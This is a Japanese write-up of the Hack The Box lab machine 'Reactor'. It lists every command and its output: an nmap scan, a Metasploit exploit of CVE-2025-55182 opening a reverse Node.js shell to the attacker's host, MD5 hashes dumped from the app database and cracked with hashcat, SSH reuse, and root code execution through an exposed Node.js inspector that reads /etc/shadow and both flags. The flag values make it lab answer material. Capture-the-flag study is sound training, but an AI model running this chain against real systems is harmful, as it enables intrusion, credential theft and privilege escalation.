Hack The BoxのWriteup(Reactor)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Reactor — 全実行コマンド・実行結果レポート
攻撃チェーン フローチャート
図1: 攻撃チェーン — フェーズ1〜5 の流れ
ネットワーク構成図
図2: ネットワーク構成 — 攻撃者・VPN・ターゲット間の通信

全ポートスキャン

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.3.47
RESULT
Starting Nmap 7.98 at 2026-05-24 19:54 +0900
Host is up (0.22s latency).
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
Nmap done: 1 IP address (1 host up) scanned in 67.03 seconds

SSH バナー取得

BASH
ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=5 10.129.3.47 2>&1 | head -3
RESULT
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16

Web アプリケーション調査

BASH
curl -s -I http://10.129.3.47:3000/
RESULT
HTTP/1.1 200 OK
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Content-Length: 17175
項目
フレームワークNext.js 15.0.3
アプリ名ReactorWatch – CORE MONITORING SYSTEM v3.2.1
Build IDL3bimJe_3LvBcFWAnK5L4
PHASE 2

初期侵入 — CVE-2025-55182 (React2Shell)

⚠️
CVE-2025-55182 (CVSS 10.0 Critical) — React Server Components の RSC Flight プロトコルにおける非認証 RCE。__proto__ / constructor をモジュール名として送信しプロトタイプ汚染を引き起こす。

ポート競合の解消

BASH
fuser -k 4444/tcp

Metasploit 脆弱性チェック

RESOURCE SCRIPT: /tmp/run_check.rc
use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
set RHOSTS 10.129.3.47
set RPORT 3000
set LHOST 10.10.14.245
set LPORT 4444
set TARGET 0
set PAYLOAD cmd/unix/reverse_nodejs
check
exit
BASH
msfconsole -q -r /tmp/run_check.rc
RESULT
[*] Processing /tmp/run_check.rc for ERB directives.
[*] Using configured payload cmd/unix/reverse_nodejs
[*] 10.129.3.47:3000 - The target appears to be vulnerable.
ターゲットは CVE-2025-55182 に対して脆弱であることを確認

Metasploit エクスプロイト実行

RESOURCE SCRIPT: /tmp/run_exploit.rc
use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
set RHOSTS 10.129.3.47 / set RPORT 3000
set LHOST 10.10.14.245 / set LPORT 4444
set PAYLOAD cmd/unix/reverse_nodejs
set VERBOSE true
run -j
sleep 20
sessions -c "id"
sessions -c "whoami"
sessions -c "cat /root/root.txt 2>/dev/null || echo PERMISSION_DENIED"
BASH
msfconsole -q -r /tmp/run_exploit.rc
RESULT
[*] Started reverse TCP handler on 10.10.14.245:4444
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.14.245:4444 -> 10.129.3.47:35966)

[*] Running 'id' on shell session 1 (10.129.3.47)
uid=999(node) gid=988(node) groups=988(node)

[*] Running 'cat /root/root.txt' on shell session 1
cat: /root/root.txt: Permission denied
node ユーザー (UID=999) でリバースシェル取得成功。root 権限なし → 権限昇格が必要
PHASE 3

認証情報取得

ℹ️
フェーズ2で取得した node ユーザーシェル上で実行

ホームディレクトリ確認

BASH
ls -l /home
RESULT
total 8
drwxr-x--- 4 engineer engineer 4096 May 20 10:12 engineer
drwxr-x--- 2 node     node     4096 May 18 11:40 node

アプリケーションデータベース確認

BASH
strings /opt/reactor-app/reactor.db
RESULT (抜粋)
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
admin   |203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
ユーザーMD5 ハッシュロール
engineer39d97110eafe2a9a68639812cd271e8eoperator
admin203b22191d744a4e70ada5c101b17b8administrator

ハッシュ解析 (Kali)

BASH
printf '%s\n' "39d97110eafe2a9a68639812cd271e8e" \
              "0203b22191d744a4e70ada5c101b17b8" > /tmp/hashes_reactor.txt

hashcat -m 0 /tmp/hashes_reactor.txt /tmp/rockyou.txt \
  --quiet --potfile-path /tmp/hashcat_reactor.pot
RESULT
39d97110eafe2a9a68639812cd271e8e:reactor1
0203b22191d744a4e70ada5c101b17b8: (未解析 — 31文字・非標準)
認証情報取得: engineer : reactor1
PHASE 4

SSH ログイン・ユーザー情報収集

SSH ログイン確認

BASH
sshpass -p 'reactor1' ssh -o StrictHostKeyChecking=no \
  engineer@10.129.3.47 'id && uname -a && groups'
RESULT
uid=1000(engineer) gid=1000(engineer)
groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
Linux reactor 6.8.0-117-generic x86_64 GNU/Linux
⚠️
lxd グループに所属 — 権限昇格ベクター候補 (ただし LXD 未初期化につき利用不可)

権限昇格ベクター調査結果

調査項目コマンド結果
SUID バイナリfind / -perm -4000標準バイナリのみ・悪用不可
ケーパビリティgetcap -r /悪用可能なものなし
Cron ジョブcat /etc/cron.d/*書き込み可能スクリプトなし
sudoersls /etc/sudoers.d/engineer への sudo 権限なし
書き込み可能ファイルfind / -writable対象なし
LXDlxc list未初期化・コンテナ/イメージなし
PHASE 5

権限昇格 — Node.js –inspect RCE

root 実行プロセス発見

BASH
sshpass -p 'reactor1' ssh engineer@10.129.3.47 \
  'ps aux | grep root | grep -v "\[" | grep -v grep'
RESULT (抜粋)
root  1386  /usr/sbin/cron -f -P
root  1389  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js  ← 重要
🎯
root 権限で Node.js インスペクター (デバッガー) が稼働中 — CDP 経由で任意 JavaScript を root として実行可能

ポート・プロセス・CDP エンドポイント確認

BASH
# ポートリスニング確認
ss -tlnp | grep 9229
# → LISTEN 0  511  127.0.0.1:9229  0.0.0.0:*

# CDP REST エンドポイント取得
curl -s http://127.0.0.1:9229/json/list
RESULT
[ {
  "type": "node",
  "title": "/opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/40289910-cc64-4fb9-9062-fe8daf38e2cf"
} ]
Browser: node.js/v20.20.2 / Protocol-Version: 1.1

SSH ポートフォワード設定

BASH
sshpass -p 'reactor1' ssh -o StrictHostKeyChecking=no \
  -fNL 9229:127.0.0.1:9229 engineer@10.129.3.47

ss -tlnp | grep 9229
# → LISTEN 0  128  127.0.0.1:9229  users:(("ssh",pid=62249,fd=5))

CDP エクスプロイト実行

BASH (Kali)
npm install -g ws

NODE_PATH=/usr/local/lib/node_modules node /tmp/cdp_collect.js
# cdp_collect.js: WebSocket → Runtime.evaluate → child_process.execSync()
RESULT
[*] Connected to Node.js inspector (root process)

=== id ===
uid=0(root) gid=0(root) groups=0(root)

=== root_flag ===
54cbd58fa53892d092b93722de8d3bbb

=== user_flag ===
cfdcbd1c5c85b24df49a6005a66c468a

=== shadow ===
root:$y$j9T$eJAH7p7TxU.lFZFC0WOND/$1mw...

[*] Done.
🏆
root 権限でのコード実行成功 — 両フラグ取得完了
FLAGS

取得フラグ

USER FLAG — /home/engineer/user.txt

cfdcbd1c5c85b24df49a6005a66c468a

取得方法: SSH直接読み取り / CDP経由

ROOT FLAG — /root/root.txt

54cbd58fa53892d092b93722de8d3bbb

取得方法: CDP Runtime.evaluate (root RCE)

権限昇格パス
図3: 権限昇格パス — node (UID=999) → engineer → root (UID=0)
SUMMARY

攻撃チェーン サマリー

[Phase 1: 偵察]
  nmap → Port 22 (SSH / OpenSSH 9.6p1), 3000 (Next.js 15.0.3)
                          ↓
[Phase 2: 初期侵入 — CVE-2025-55182 (CVSS 10.0)]
  Metasploit → POST / + Next-Action: "" + RSC prototype pollution
  → node ユーザー (UID=999) リバースシェル取得
  → ls /home, strings /opt/reactor-app/reactor.db 実行
                          ↓
[Phase 3: 認証情報取得]
  reactor.db users テーブル → MD5 ハッシュ発見
    engineer: 39d97110eafe2a9a68639812cd271e8e → reactor1 (hashcat)
                          ↓
[Phase 4: SSH ログイン・列挙]
  ssh engineer@10.129.3.47 (reactor1)
  lxd グループ / SUID / cron / sudoers → 悪用不可
                          ↓
[Phase 5: 権限昇格 — Node.js --inspect RCE]
  ps aux → root 実行の node --inspect=127.0.0.1:9229 発見
  curl /json/list → WebSocket UUID 取得
  ssh -fNL 9229:127.0.0.1:9229 → ポートフォワード確立
  CDP Runtime.evaluate → child_process.execSync() を root で実行
                          ↓
[フラグ取得]
  user.txt: cfdcbd1c5c85b24df49a6005a66c468a
  root.txt: 54cbd58fa53892d092b93722de8d3bbb

使用ツール

nmap
ポートスキャン
curl
Web / CDP REST API
msfconsole
CVE-2025-55182 エクスプロイト
sshpass + ssh
SSH 認証・トンネル
hashcat
MD5 クラック (reactor1)
node + ws
CDP WebSocket エクスプロイト
strings
バイナリ文字列抽出
fuser / ss
ポート管理・確認
HackTheBox: Reactor — Penetration Test Report  |  2026-05-24